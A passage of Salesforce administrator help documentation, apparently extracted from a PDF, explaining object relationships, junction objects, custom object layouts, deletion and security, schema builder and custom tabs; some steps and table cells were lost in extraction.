is deleted even if they dont have access to the records. To prevent records from being accidentally deleted,
cascade-delete is disabled by default. Contact Salesforce.com to get the cascade-delete option enabled for
your organization.
When you define a lookup relationship, you have the option to include a lookup field on the page layouts for that object
as well as create a related list on the associated object's page layouts. For example, if you have a custom object called
PTO Requests and you want your users to link a PTO request with the employee submitting the request, create a
lookup relationship from the PTO Request custom object with the user object.
You can't delete an object or record in a lookup relationship if the combined number of records between the two linked
objects is more than 100,000. To delete an object or record in a lookup relationship, first delete an appropriate number
of its child records.
Hierarchical
This type of relationship is a special lookup relationship available only for the user object. It allows users to use a lookup
field to associate one user with another that does not directly or indirectly refer to itself. For example, you can create a
custom hierarchical relationship field to store each user's direct manager.
Tip: When creating a hierarchical field in Personal, Contact Manager, Group, and Professional Editions, you
can select the Restricted Field checkbox so that only users with the Manage Users permission can edit
it. In Enterprise, Unlimited, and Developer Edition, use field-level security instead.
See Also:
Considerations for Relationships
Defining Custom Objects
Creating Custom Fields
1742
Create
Overview of Relationships
Customize Application
You can use master-detail relationships to model many-to-many relationships between any two objects. A many-to-many
relationship allows each record of one object to be linked to multiple records from another object and vice versa. For example,
you may have a custom object called Bug that relates to the standard case object such that a bug could be related to multiple
cases and a case could also be related to multiple bugs. When modeling a many-to-many relationship, you use a junction object
to connect the two objects you want to relate to each other.
Junction Object
A custom object with two master-detail relationships. Using a custom junction object, you can model a many-to-many
relationship between two objects. For example, you may have a custom object called Bug that relates to the standard
case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs.
Creating the many-to-many relationship consists of:
1.
2.
3.
4.
Name the object with a label that indicates its purpose, such as BugCaseAssociation.
For the Record Name field, it is recommended that you use the auto-number data type.
Do not launch the custom tab wizard before clicking Save. Junction objects do not need a tab.
1743
Create
Overview of Relationships
b. Select one of the objects to relate to your junction object. For example, select Case.
The first master-detail relationship you create on your junction object becomes the primary relationship. This affects
the following for the junction object records:
Look and feel: The junction object's detail and edit pages use the color and any associated icon of the primary master
object.
Record ownership: The junction object records inherit the value of the Owner field from their associated primary
master record. Because objects on the detail side of a relationship do not have a visible Owner field, this is only
relevant if you later delete both master-detail relationships on your junction object.
Division: If your organization uses divisions to segment data, the junction object records inherit their division from
their associated primary master record. Similar to the record ownership, this is only relevant if you later delete both
master-detail relationships.
c. Select a Sharing Setting option. For master-detail relationship fields, the Sharing Setting attribute determines
the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records.
d. For the Related List Label that will display on the page layout of the master object, do not accept the default.
Change this to use the name of the other master object in your many-to-many relationship. For example, change this
to Bugs so users will see a Bugs related list on the case detail page.
3. On the junction object, create the second master-detail relationship. In the custom field wizard:
a. Choose Master-Detail Relationship as the field type.
b. Select the other desired master object to relate to your junction object. For example, select Bug.
The second master-detail relationship you create on your junction object becomes the secondary relationship. If you
delete the primary master-detail relationship or convert it to a lookup relationship, the secondary master object becomes
primary.
c. Select a Sharing Setting option. For master-detail relationship fields, the Sharing Setting attribute determines
the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records.
d. For the Related List Label that will display on the page layout of the master object, do not accept the default.
Change this to use the name of the other master object in your many-to-many relationship. For example, change this
to Cases so users will see a Cases related list on the bug detail page.
Customizing Many-to-Many Relationship Related Lists
For a many-to-many relationship in Salesforce, each master object record displays a related list of the associated junction object
records. To create a seamless user experience, you can change the name of the junction object related list on each of the master
object page layouts to have the name of the other master object. For example, you might change the BugCaseAssociations
related list to Cases on the bugs page layout and to Bugs on the cases page layout. You can further customize these related
lists to display fields from the other master object.
To customize the fields that display in the junction object related list on each master object page layout:
1. Edit the page layout of each master object that is related to the junction object. For example, to modify the
BugCaseAssociations related list for case records, edit the page layout for cases at Your Name > Setup > Customize >
Cases > Page Layouts.
2. Edit the properties of the related list you want to modify. For example, on cases the BugCaseAssociations related list was
renamed to Bugs, so select the Bugs related list.
3. Add the fields to display in the related list. You can add fields from the junction object itself, but more importantly, you
can add fields from the other master object.
Each field is prefixed with its object name in the popup window. In the related list itself, only fields from the junction
object are prefixed with the object name; fields from the other master object are not.
1744
Create
Overview of Relationships
Note: The junction object related list does not include an icon on the master record's detail pages because the junction
object does not have a custom tab. If you make a tab for the junction object, the icon is included.
Primary master with junction object and secondary master in the primary master object's report category
Secondary master with junction object and primary master in the secondary master object's report category
The order of the master objects in the report type is important. The master object listed first determines the scope of records
that can be displayed in the report.
You can create custom reports based on these standard report types. In addition, you can create custom report types to customize
which related objects are joined in the report.
See Also:
Defining Custom Objects
Considerations for Relationships
Custom Report Types Overview
1745
Create
Overview of Relationships
You can't create a many-to-many self relationship, that is, the two master-detail relationships on the junction object
can't have the same master object.
Icons for Custom Related Lists
The icon you select for the associated custom tab also displays in any custom related list you create based on a relationship.
For more information on choosing the icon for your custom tab, see Creating Custom Object Tabs.
Custom related lists do not include an icon if they are based on a relationship with a custom object that does not have
a custom tab.
Master-Detail Relationships
To create multilevel master-detail relationships, you need the Customize Application user permission.
When you define a master-detail relationship, the custom object on which you are working is the detail side. Its data
can appear as a custom related list on page layouts for the other object.
If a custom object is a detail or subdetail component in a master-detail relationship, it can't also be the master of a
different master-detail relationship.
By default, records cant be reparented in master-detail relationships. Administrators can, however, allow child records
in master-detail relationships on custom objects to be reparented to different parent records by selecting the Allow
reparenting option in the master-detail relationship definition.
You can have up to three custom detail levels.
Standard objects can't be on the detail side of a custom object in a master-detail relationship.
An object can appear once in multilevel master-detail relationships. For example, a subdetail object in one multilevel
master-detail relationship can't also be the owner of the master object in another multilevel master-detail relationship.
A subdetail object can't also be the master object of the subdetail object's detail object.
Multilevel master-detail relationships do not support division transfers.
You can't create a master-detail relationship if the custom object already contains data. You can, however, create the
relationship as a lookup and then convert it to master-detail if the lookup field in all records contains a value.
Converting relationships from lookup to master-detail, or from master-detail to lookup behaves the same as for two-object
master-detail relationships. That is, the two linked objects in the detail-subdetail1, or subdetail1-subdetail2 relationship
have the same conversion limits as the master-detail relationship.
Roll-up summary fields work as in two-object master-detail relationships. A master can roll up fields on detail records;
however, it can't directly roll up fields on subdetail records. To achieve this, the detail record must have a roll-up summary
field for the field on the subdetail record, allowing the master to roll up from the detail's roll-up summary field.
You can use multilevel master-detail relationships in custom report types. The Allow Reports checkbox must be
checked when you create the custom object. Custom report types created for multilevel master-detail relationships count
towards the organizations custom report type limit and no reports are generated if this limit is exceeded. See Salesforce
Editions and Limits on page 2076.
Custom junction objects can't have detail objects. That is, a custom junction object can't become the master object in a
multilevel master-detail relationship.
When you delete a custom object that is on the detail side of a master-detail relationship, the relationship is converted
to a lookup relationship. If you restore the custom object, you must manually convert it to a master-detail. See Changing
Custom Field Type on page 1250.
You can't delete a custom object if it is on the master side of a master-detail relationship.
1746
Create
Overview of Relationships
Undeleting the master record also undeletes detail and subdetail records.
As a best practice, don't exceed 10,000 child records for a master-detail relationship.
Many-to-Many Relationships
Junction object records are deleted when either associated master record is deleted and placed in the Recycle Bin. If both
associated master records are deleted, the junction object record is deleted permanently and can't be restored.
Sharing access to a junction object record is determined by a user's sharing access to both associated master records and
the Sharing Setting option on the relationship field. See Custom Object Security on page 1757. For example, if the
sharing setting on both parents is Read/Write, then the user must have Read/Write access to both parents in order to
have Read/Write access to the junction object. If, on the other hand, the sharing setting on both masters is Read-Only,
a user with Read-Only rights on the master records would have Read/Write access to the junction object.
You can create workflow rules and approval processes on junction objects; but you can't create outbound messages on
junction objects.
In a many-to-many relationship, a user can't delete a parent record if there are more than 200 junction object records
associated with it and if the junction object has a roll-up summary field that rolls up to the other parent. To delete this
object, manually delete junction object records until the count is fewer than 200.
The first master-detail relationship you create on your junction object becomes the primary relationship. This affects
the following for the junction object records:
Look and feel: The junction object's detail and edit pages use the color and any associated icon of the primary master
object.
Record ownership: The junction object records inherit the value of the Owner field from their associated primary
master record. Because objects on the detail side of a relationship do not have a visible Owner field, this is only
relevant if you later delete both master-detail relationships on your junction object.
Division: If your organization uses divisions to segment data, the junction object records inherit their division from
their associated primary master record. Similar to the record ownership, this is only relevant if you later delete both
master-detail relationships.
The second master-detail relationship you create on your junction object becomes the secondary relationship. If you delete
the primary master-detail relationship or convert it to a lookup relationship, the secondary master object becomes primary.
Roll-up summary fields that summarize data from the junction object can be created on both master objects.
Formula fields and validation rules on the junction object can reference fields on both master objects.
You can define Apex triggers on both master objects and the junction object.
A junction object can't be on the master side of another master-detail relationship.
You can't create a many-to-many self relationship, that is, the two master-detail relationships on the junction object
can't have the same master object.
Lookup Relationships
If the lookup field is optional, you can specify one of three behaviors to occur if the lookup record is deleted:
Clear the value of this field This is the default. Clearing the field is a good choice when the field does
1747
Create
Overview of Relationships
Dont allow deletion of the lookup record thats part of a lookup relationship This
option restricts the lookup record from being deleted if you have any dependencies, such as a workflow rule, built on
the relationship.
Delete this record also Available only if a custom object contains the lookup relationship, not if its contained
by a standard object. However, the lookup object can be either standard or custom. Choose when the lookup field
and its associated record are tightly coupled and you want to completely delete related data.
: Choosing Delete this record also can result in a cascade-delete. A cascade-delete bypasses security and sharing
settings, which means users can delete records when the target lookup record is deleted even if they dont have access to the
records. To prevent records from being accidentally deleted, cascade-delete is disabled by default. Contact Salesforce.com
to get the cascade-delete option enabled for your organization.
In a chain of lookup relationships, these behaviors work independently on each target field at each level. Say, for example,
field A is the target lookup of field B, which in turn is the target lookup of field C. You can have a delete restriction on
A and none on B, which means that A cant be deleted but B can. Once B is deleted, the relationship between A and B
no longer exists and C will hold an empty value for the lookup.
In a multilevel lookup relationship, these options might conflict. For example, in the scenario where field A is the target
lookup of field B, which in turn is the target lookup of field C, you might specify that A can delete B, but B cannot be
deleted because its in a relationship with C. If you try to delete A, youll get an error saying that B cant be deleted
because its linked to C.
Impact of Relationships on Reports
The type of relationship you create affects which standard report types are available and how they are categorized. These
report types determine which related objects can be included in the report:
Lookup relationships allow data from the two related objects to be joined in one report.
Master-detail relationships allow data from three objects to be joined in one report: the master object, the detail
object, plus one other lookup object. If the detail object has multiple lookup relationships, a separate report type is
available based on each lookup.
Many-to-many relationships provide two standard report types that join the master objects and the junction object.
The report types are:
Primary master with junction object and secondary master in the primary master object's report category
Secondary master with junction object and primary master in the secondary master object's report category
The order of the master objects in the report type is important. The master object listed first determines the scope
of records that can be displayed in the report.
The reporting impact of each relationship type is summarized in the following table:
Relationship Type
Lookup
Object by itself
1748
Create
Relationship Type
Master-Detail
Master object
and
Custom report types give you more flexibility to join data from multiple objects, including lookups as well as master-detail
relationships.
Important: Converting a relationship from lookup to master-detail or vice versa can cause existing custom
reports to become unusable due to the different standard report types available for each type of relationship.
We recommend that you test your custom reports immediately after converting the relationship type. If you
revert your relationship back to the original type, the reports are restored and become usable again.
See Also:
Overview of Relationships
Creating a Many-to-Many Relationship
Customize Application
1749
Create
Customize Application
Customize Application
Custom object fields store the data for your custom object records.
Custom Fields for Custom Objects
You can create custom fields to store information unique to your organization; see Creating Custom Fields on page 1075.
You can also create custom relationship fields to associate your custom object with another object in Salesforce. For more
information about relationships, see Overview of Relationships on page 1740.
Standard Fields for Custom Objects
Custom objects automatically include the following standard fields. Click Edit to modify any of the editable fields.
Field
Description
Created By
Currency
Division
1750
Create
Field
Description
Last Modified By
Name
Owner
See Also:
Customizing Custom Objects
Overview of Relationships
Customize Application
Page layouts define which fields users can view and edit when entering data for a custom object record. You can use the default
page layout that is created automatically when you create a custom object. You can also build your own page layout with related
lists and custom links. If you do not use any page layout with your custom object, you can still interact with it by using the
Force.com API to manage custom data or build a custom user interface.
To define a page layout for a custom object:
1. Click Your Name > Setup > Create > Objects.
2. Select one of the custom objects in the list.
3. In the Page Layouts related list, click Edit next to one of the page layouts to modify it, or click New to create a new page
layout.
4. When creating a new page layout, enter a name for it, and select an existing page layout to clone, if desired.
1751
Create
5. Edit the page layout just as you would any other page layout.
6. Click Save.
See Also:
What is a Custom Object?
Customizing Page Layouts
Customizing Custom Objects
Customize Application
You can customize which custom object fields display for users in search results, in lookup dialogs, and in the key lists on
custom tab home pages. You can specify a different set of fields to show in each search layout. The settings apply to all users
in your organization.
Additionally, customize which buttons display in custom list views and search results. You can hide a standard list view button
or display a custom button. Standard buttons are not available on search result layouts. To display a custom button, create the
custom button and give it a List Button Display Type.
1. Click Your Name > Setup > Create > Objects.
2. Select one of the custom objects in the list.
3. In the Search Layouts related list, click Edit next to the search layout you want to modify.
Note: The fields you select for the key lists on the custom tab home page are also used as the columns displayed
in the default All list view and as the default columns for any new list views. To view different columns, customize
the list view itself.
4. Use the arrows to add or remove fields from the search layout, and to define the order in which the fields should display.
5. Use the arrows to add or remove custom buttons from the layout, and to define the order in which the buttons should
display. To select more than one item, use CTRL+click or SHIFT+click to select multiple items in a range.
Select one or more items in the available list and click Add to add them to the layout.
Select one or more items in the selected list and click Remove to remove them from the layout.
Select one or more items in the selected list and click Up to move them higher in the list.
Select one or more items in the selected list and click Down to move them lower in the list.
6. Click Save.
1752
Create
For more details about search layouts, see Notes on Search Layouts on page 1304.
See Also:
Customizing Search Layouts
Customizing Custom Objects
Customize Application
Create record types for a custom object to display different picklist values and page layouts to different users based on their
profiles. For more information about record types, see Managing Record Types on page 1268.
1.
2.
3.
4.
To apply a single page layout for all profiles, select Apply one layout to all profiles and choose the page
layout from the drop-down list.
To apply different page layouts based on user profiles, select Apply a different layout for each profile
and choose a page layout for each profile.
12. Click Save to edit the values of the standard and custom picklists available for the record type, or click Save and New to
create another record type.
See Also:
Customizing Custom Objects
1753
The standard object limits page shows details about your usage of customizations on an object, such as the custom fields youve
added or sharing rules youve applied. The items in the list vary depending on the object. When an item exceeds the limit
allowed for the object, or reaches 75% of the limit, a tip displays that suggests what you can do next.
You can refer to the standard object limits page when planning how you want to customize a particular standard object, or to
monitor the usage and limits of customizations on that object.
To access the standard object limits page, click Your Name > Setup > Customize, click the name of the desired standard
object, then click the limits option for that object.
Note: The object limit percentages displayed for items used are truncated, not rounded. For example, if your
organization uses 95.55% of the limit for a particular item, the percentage displayed is 95%.
See Also:
Salesforce Editions and Limits
Customize Application
When you delete a custom object, Salesforce does not add it to the Recycle Bin with other deleted records. Instead, deleted
objects appear in the Deleted Custom Objects list for 15 days. During this time you can restore an object and the data
1754
Create
stored in it, or permanently erase the object and its data. After 15 days, the object and its data are permanently erased. If
a user clicks a bookmark to a deleted custom object record's URL, Salesforce displays an Insufficient Privileges
message. For more information on restoring custom objects, see Managing Deleted Custom Objects on page 1756.
If youre approaching your limit for custom objects and need to delete some to create room for more, you need to hard
delete or erase them. Soft-deleted custom objects and their data count against your limits. To view a list of the maximum
number of custom objects, fields, and other items allowed in your organization, see Salesforce Editions and Limits on page
2076.
When you delete a custom object, Salesforce does the following:
Removes the object from Force.com AppExchange packages.
If the deleted object is on the detail side of a master-detail relationship, changes the master-detail relationship to a
lookup relationship.
Permanently erases:
-
You can't delete a custom object if it is on the master side of a master-detail relationship. When you delete a custom object
that is on the detail side of a master-detail relationship, the relationship is converted to a lookup relationship. If you restore
the custom object, you must manually convert it to a master-detail. See Changing Custom Field Type on page 1250.
You can't delete a custom object if it is a target object in an analytic snapshot.
You can't delete a custom object that contains custom fields that are used in a roll-up summary field for another object.
Page layouts on a custom object are deleted and restored with it. However, custom object data can also exist on page layouts
for other objects in the form of related lists. These related lists remain until you edit the page layout, at which time Salesforce
permanently removes any items relating to the deleted custom object.
You can't delete a custom object if it is referenced in:
Apex
A Visualforce page
An analytic snapshot
In a many-to-many relationship, a user can't delete a parent record if there are more than 200 junction object records
associated with it and if the junction object has a roll-up summary field that rolls up to the other parent. To delete this
object, manually delete junction object records until the count is fewer than 200.
1755
Create
You can't delete more than 100,000 combined objects and child records at the same time. To delete an object that has
more than 100,000 child records, first delete an appropriate number of its child records.
See Also:
Managing Deleted Custom Objects
Customize Application
Customize Application
When you delete a custom object, Salesforce does not add it to the Recycle Bin with other deleted records. Instead, deleted
objects appear in the Deleted Custom Objects list for 15 days. During this time you can restore an object and the data stored
in it, or permanently erase the object and its data. After 15 days, the object and its data are permanently erased. If a user clicks
a bookmark to a deleted custom object record's URL, Salesforce displays an Insufficient Privileges message.
If youre approaching your limit for custom objects and need to delete some to create room for more, you need to hard delete
or erase them. Soft-deleted custom objects and their data count against your limits.
To view a list of your deleted custom objects:
1. Click Your Name > Setup > Create > Objects.
2. Click Deleted Objects at the bottom of the list of custom objects. The number in parentheses indicates the total number
of deleted custom objects in your organization. This link only displays when you have a deleted custom object.
3. Use the list of deleted custom objects to perform the following actions:
1756
Create
On the page layouts of other objects, add the custom object related list, button, or link to any page layouts that have
been edited while the object is deleted. Related lists, buttons, or links to this object are automatically restored if the
page layout is not edited while the object is deleted.
For custom report types where the object is not the main object, add the reference to the custom object back to the
custom report types. Reports based on the custom report type are automatically restored if not edited while the
object is deleted. Recreate any reports that have been edited.
If the deleted custom object is on the detail side of a master-detail relationship:
-
Master-detail fields are converted to lookup fields when the object is deleted. Change the field types back to
master-detail.
Reports based on the object are not restorable. Where appropriate, recreate the reports.
Note: It may take several hours before you can search for records in the object.
See Also:
Deleting Custom Objects
Many different security settings work together so you can control access to your custom objects with great flexibility. Set
custom object security at the following different levels:
Tabdisplay the custom tab for the appropriate users based on their user profiles.
Objectset the access users have to create, read, edit, and delete records for each object.
Recordsset the default sharing model for all your users. This determines the access users have to custom object records
that they do not own.
Relationshipfor objects on the detail side of a master-detail relationship, specify the sharing access that users must have
to the master record in order to create, edit, or delete the associated detail records. This is specified in the Sharing
Setting attribute of the master-detail relationship field on the detail object.
Fieldsset the level of access users have to fields on your custom object page layout.
Required Privileges
Create a record
1757
Create
Action
Required Privileges
View a record
Edit a record
Delete a record
The following requirements apply to custom objects that have a master-detail relationship with a standard or custom object:
Action
Required Privileges
Create a record
View a record
Edit a record
Delete a record
Delegated administrators can manage nearly every aspect of specified custom objects, but they cannot create or modify
relationships on the object or set organization-wide sharing defaults.
See Also:
Field-Level Security Overview
User Permissions
Object Permissions
Setting Your Organization-Wide Sharing Defaults
Defining Custom Objects
1758
Create
Schema builder provides a dynamic environment to add new custom objects, custom fields, and relationships to your schema.
This eliminates the need to click from page to page to find the details of a master-detail relationship or to add a new custom
field to an object in your schema. For example, if youre using schema builder to view the details of your schema, you can add
a new custom object without leaving schema builder. The drag-and-drop interface lets you easily add a custom object or new
field, and saves the layout of your schema any time you move an object.
Schema builder provides details such as the field values, required fields, and how objects are related by displaying lookup and
master-detail relationships. You can view the details for both standard and custom objects in schema builder.
Schema builder is enabled by default and lets you add the following to your schema:
Custom Objects
Lookup Relationships
Master-Detail Relationships
Fields of the following types:
Auto Number
Formula
Roll-up Summary
Checkbox
Currency
Date
Date/Time
Email
Number
Percent
Phone
Picklist
Picklist (Multi-Select)
Text
Text (Encrypted)
Text Area
Long Text Area
Rich Text Area
1759
Create
URL
See Also:
Working with Schema Builder
Creating Objects with Schema Builder
Creating Fields with Schema Builder
"Customize Application"
Click on an object and move it to any space on the canvas. Schema builder saves the layout of your schema any time you
move an object.
Click Auto-Layout to automatically sort the layout of the objects in your schema.
Important: Once you click Auto-Layout, you can't undo it.
The Elements tab lets you drag and drop new custom objects and fields onto the canvas.
To create a new custom object, see Creating Objects with Schema Builder.
To create a new custom field, see Creating Fields with Schema Builder.
The Objects tab lets you select objects to display on the canvas.
Click the drop-down list in the sidebar to filter your list of objects:
-
All Objects
1760
Create
Selected Objects
Standard Objects
Custom Objects
System Objects
Note: Objects created outside of schema builder, such as through an app or the API, dont automatically
display on the canvas. Select the checkbox for the object created outside schema builder to display it on the
canvas.
To search for an object, type its name in the Quick Find... box.
Hover over an object in your list of objects and click to find it on the canvas.
Hover over relationship lines to show relationship details such as lookup and master-detail relationships. Click the name
of the object to find it on the canvas. You may want to hide relationships if your schema is taking too long to load.
To view the details of a field in a new window, click the element name or label and select View Field in New Window.
To edit properties of a custom field, click the element name or label and select Edit Field Properties....
To manage permissions of a custom field, click the element name or label and select Manage Field Permissions. Use the
dialog box that appears to manage the fields visibility and writability for all standard and custom profiles.
Click
to:
Note: You can't save the level of zoom when closing schema builder.
See Also:
Schema Builder Overview
Creating Objects with Schema Builder
Creating Fields with Schema Builder
1761
Create
"Customize Application"
Field
Description
Label
Plural Label
The plural name of the object. If you create a tab for this
object, this name is used for the tab.
Object Name
Description
Record Name
The name used in page layouts, list views, related lists, and
search results.
Data Type
1762
Create
Field
Description
auto-numbers. An auto-number is a unique number assigned
automatically. It is always a read-only field.
Allow Reports
Allow Activities
Namespace Prefix
Deployment Status
1763
Create
"Customize Application"
If a standard field and custom field have matching names or labels, the merge field displays the value of the custom
field.
If two custom fields have matching names or labels, the merge field may not display the value of the field you expect.
For example, if you create a field label called Email, the field name automatically populates as Email__c. If you also
have a standard field with the label Email, the merge field may not be able to distinguish between the standard and custom
field names. Make both the custom field name and label unique by adding a character to each, such as Email2 and
Email2__c, respectively.
4.
5.
6.
7.
8.
9.
1764
Create
Type
Description
Auto Number
Formula
Roll-Up Summary
Lookup Relationship
1765
Create
Type
Description
Master-Detail Relationship
Checkbox
Currency
Date
Date/Time
1766
Create
Type
Description
Number
Percent
Phone
Picklist
Picklist (Multi-Select)
Allows users to select more than one picklist value from a list
you define. These fields display each value separated by a
semicolon.
Text
Text (Encrypted)
Text Area
1767
Create
Type
Description
With the use of a toolbar, users can format the field content
and add images and hyperlinks. The toolbar allows the user
to undo, redo, bold, italicize, underline, strike-out, add a
hyperlink, upload or link to an image, modify alignment, add
a numbered or non-numbered list, indent, and outdent. The
maximum field size is 32,768 characters, inclusive of all the
formatting and HTML tags. Only the first 254 characters in
a rich text area or a long text area are displayed in a report.
The maximum size for uploaded images is 1MB. Only gif,
jpeg and png file types are supported.
URL
API Access is a package setting that controls the dynamic Apex and API access that s-controls and other package components
have to standard and custom objects. The setting displays for both the developer and installer on the package detail page. With
this setting:
The developer of an AppExchange package can restrict API access for a package before uploading it to Force.com
AppExchange. Once restricted, the package components receive Apex and API sessions that are restricted to the custom
1768
Create
objects in the package. The developer can also enable access to specific standard objects, and any custom objects in other
packages that this package depends on.
The installer of a package can accept or reject package access privileges when installing the package to his or her organization.
After installation, an administrator can change Apex and API access for a package at any time. The installer can also enable
access on additional objects such as custom objects created in the installers organization or objects installed by unrelated
packages.
Accepting or Rejecting API and Dynamic Apex Access Privileges During Installation
To accept or reject the API and dynamic Apex access privileges for a package you are installing:
Start the installation process on Force.com AppExchange. For more information, see Installing a Package on page 2229.
In Approve API Access, either accept by clicking Next, or reject by clicking Cancel. Complete the installation steps if
you have not canceled.
1769
Create
setting for objects, users do not have access to those objects from the package components, even if the user has the Modify
All Data and View All Data permissions.
Use the API Access field to:
Enable Restrictions
This option is available only if the current setting is Unrestricted. Select this option if you want to specify the
dynamic Apex and API access that package components have to standard objects in the installer's organization. When
you select this option, the Extended Object Permissions list is displayed. Select the Read, Create, Edit, or Delete
checkboxes to enable access for each object in the list. This selection is disabled in some situations. Click Save when
finished. For more information about choosing the Restricted option, including information about when it is
disabled, see Considerations for API and Dynamic Apex Access in Packages on page 2235.
Disable Restrictions
This option is available only if the current setting is Restricted. Select this option if you do not want to restrict
the Apex and API access privileges that the components in the package have to standard and custom objects. This
option gives all the components in the package the same API access as the user who is logged in. For example, if a
user can access accounts, an Apex class in the package that accesses accounts would succeed when triggered by that
user.
Restricted
Click this link if you have already restricted API access and wish to edit the restrictions.
A custom tab is a user interface component you create to display custom object data or other web content embedded in the
application.
The following types of custom tabs are available:
Custom Object Tabs display the data of your custom object in a user interface tab. Custom object tabs look and function
just like standard tabs. See Creating Custom Object Tabs on page 1771.
Custom Web Tabs display any external Web-based application or Web page in a Salesforce tab. You can design Web
tabs to include the sidebar or span across the entire page without the sidebar. See Creating Web Tabs on page 1773.
Apex Page Tabs display data from a Visualforce page. Visualforce page tabs look and function just like standard tabs. See
Creating Visualforce Tabs on page 2113.
See Also:
Creating Custom Apps
What is an App?
Defining Object-Level Help
1770
Create
Customize Application
Custom tabs display custom object data or other web content embedded in the application. For the total number of custom
tabs you can create, see Salesforce Editions and Limits on page 2076.
Custom Object Tabs - Create a tab for your custom object data. See Creating Custom Object Tabs on page 1771.
Web Tabs - Create a tab to display other web content. See Creating Web Tabs on page 1773.
Apex Page Tabs - Create a tab that displays a Visualforce page. See Creating Visualforce Tabs on page 2113.
Delegated administrators who can manage specified custom objects can also create and customize tabs for those custom objects.
See Delegating Administrative Duties on page 738.
See Also:
What is a Custom Tab?
Customize Application
Define a new tab to display the data stored in your custom object records.
1. Click Your Name > Setup > Create > Tabs.
2. Click New in the Custom Object Tabs related list.
3. Select the custom object to display in the custom tab. If you have not already created the custom object, click create a new
custom object now and follow the instructions in Defining Custom Objects on page 1735.
1771
Create
The label of the new tab is the same as the plural version of the custom object label, as described in Defining Custom
Objects on page 1735.
4. Click the Tab Style lookup icon to display the Tab Style Selector.
If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over
the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter
this list.
5. Click a tab style to select the color scheme and icon for the custom tab.
Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your
organization has access to the Documents tab. To create your own tab style:
a. Click the Color lookup icon to display the color selection dialog and click a color to select it.
b. Click Insert an Image, select the document folder, and select the image you want to use.
Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes
your search term.
Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available
checkbox selected in the document property settings. For more information, see uploading images and document
property settings. If the document used for the icon is later deleted, Salesforce replaces it with a default multicolor
block icon (
).
c. Select a file and click OK. The New Custom Tab wizard reappears.
6. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. For details about
creating a custom link to use as a splash page for your custom tab, see Defining Custom Buttons and Links on page 1254.
7. Enter a description of the tab, if desired, and click Next.
8. Choose the user profiles for which the new custom tab will be available:
Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down
list.
Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab
Hidden from the drop-down list for each profile.
For Professional Edition users and Salesforce Platform One license users, tab visibility is automatically set to Default On.
9. Specify Tab Visibility.
For Enterprise, Unlimited, Developer Edition, and organizations, choose Default On, Default Off, or Tab Hidden in Tab
Visibility to determine whether the custom tab is visible to users with that profile, and click Next. For Professional
Edition organizations, tab visibility is automatically set to Default On. Salesforce Platform One license users, tab visibility
is automatically set to Default On.
If you choose Default On or Default Off, an option is added to the Create New drop-down list in the sidebar so that
users with the Create permission can quickly create a new record. For example, if the custom object displayed in the
custom tab is named Expenses, an Expense option appears in this list.
10. Specify the custom apps that should include the new tab. See What is an App? on page 1718 for information on custom
apps.
11. Check Append tab to users' existing personal customizations to add the new tab to your users customized
display settings if they have customized their personal display.
12. Click Save.
1772
Create
Define the page layout for records displayed in the tab. The page layout controls which fields are visible and editable when
users are entering data in the custom tab. For details, see Building Page Layouts for Custom Objects on page 1751.
Specify which fields display to users in the key lists section of the custom object tab home page. For details, see Customizing
Search Layouts for Custom Objects on page 1752.
See Also:
Creating Custom Object Tabs
Customize Application
Build web tabs so that your users can use your web applications or other websites from within the application.
1. Click Your Name > Setup > Create > Tabs.
2. Click New in the Web Tabs related list.
3. Choose a layout for the new tab. The full page width spans across the entire page without the sidebar while the column
style allows users to view the sidebar.
4. Click Next.
5. Choose URL for tab type. Choose Custom S-Control if you have previously created a custom s-control that you want
displayed in the web tab. See Defining Custom S-Controls on page 2124.
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have
never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will
remain unaffected, and can still be edited.
6. Enter a label to display on the tab.
7. Click the Tab Style lookup icon to display the Tab Style Selector.
If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over
the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter
this list.
8. Click a tab style to select the color scheme and icon for the custom tab.
Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your
organization has access to the Documents tab. To create your own tab style:
1773
Create
a. Click the Color lookup icon to display the color selection dialog and click a color to select it.
b. Click Insert an Image, select the document folder, and select the image you want to use.
Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes
your search term.
Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available
checkbox selected in the document property settings. For more information, see uploading images and document
property settings. If the document used for the icon is later deleted, Salesforce replaces it with a default multicolor
block icon (
).
c. Select a file and click OK. The New Custom Tab wizard reappears.
9. Change the content frame height if necessary.
10. Optionally, select the Mobile Ready checkbox to indicate that the web page displays and functions properly in a mobile
web browser.
Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. See Managing Mobile Tabs
on page 971 for information on how to mobilize tabs. Review the considerations for ensuring that the pages in your web
tabs are compatible with mobile browsers before mobilizing a web tab.
Note that the Mobile Ready checkbox is only visible if Salesforce Mobile is enabled for your organization.
11. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. See Defining
Custom Buttons and Links on page 1254 for information about creating a custom link to use as a splash page for your custom
tab. Note that splash pages do not display in the mobile application. Avoid using a splash page if you plan to mobilize the
web tab.
12. Enter a description of the tab, if desired, and click Next.
13. Enter the URL or choose the custom s-control that you want to display in the tab. Optionally, copy and paste any merge
fields for data that you want replaced in the link dynamically.
Remember to include the http:// before your URL. User, organization, and API merge fields are available for web tabs.
For details about using merge fields, see Merge Fields Overview on page 460.
Optionally, click the preview link to display your web tab.
14. For a URL, choose an encoding setting and click Next.
15. Add the web tab to the appropriate profiles. In Tab Visibility, choose Default On, Default Off, or Tab Hidden to
determine whether the custom tab is visible to users with that profile. The administrator can change this setting later.
16. Check Append tab to users' existing personal customizations to apply the tab visibility settings to all
users.
17. Specify the custom apps that should include the new tab. See What is an App? on page 1718 for information on custom
apps.
18. Click Save.
1774
Create
Customize Application
